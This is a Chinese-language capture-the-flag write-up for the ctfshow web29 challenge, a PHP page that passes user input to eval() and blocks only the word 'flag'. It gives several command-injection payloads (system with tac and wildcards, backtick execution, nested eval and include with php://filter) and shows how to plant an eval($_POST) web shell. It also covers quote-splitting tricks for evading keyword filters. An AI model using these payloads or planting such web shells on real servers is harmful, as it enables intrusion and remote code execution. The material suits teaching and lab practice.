web29笔记(过滤flag)
背景知识 拿到题目,可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。
$_GET[c]的意思是我们输入c参数; pregmatch是正则匹配是否包含flag,if(!preg_match("/flag/i", $c)),/i忽略大小写,如果输入参数中不包含flag的大小写,则进入if判断内部。
还有/m等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html
eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval内执行的是php代码,必须以分号结尾。eval和其他函数的对比
可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480
分别以如下方法尝试拿到flag:
1、直接执行系统命令
?c=system("tac%20fla*"); 利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system("ls"); 来查看到底在哪里。
2、内敛执行 (反字节符)
?c=echo%20`tac%20fla*`;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。
3、利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
试一下,没问题,可以看到phpinfo的信息。 然后就使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system("ls%20/");看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。
4、利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php (参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
也可以尝试写入木马 file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 访问alb34t.php,然后就可以连马。
5、利用cp命令将flag拷贝到别处
?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问a.txt,读取即可。
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
模式分隔符后的"i"标记这是⼀个⼤⼩写不敏感的搜索 模式中的\b标记⼀个单词边界,所以只有独⽴的单词会被匹配,如:
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True
if (preg_match("/\bweb\b/i", "PHP is the website scripting language ofchoice.")) : False
⼩技巧:如果仅仅想要检查某个字符串是否包含另外⼀个字符串,不要使⽤ preg_match() , 使⽤ strpos() 会更快。 即 $c 不能匹配到⼤⼩写的flag
linux知识:通配符 * 匹配任何字符串/⽂本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何⼀个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何⼀个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意⼀个字符 ls file 0 对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
payload: ?c=system('tac f*');
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号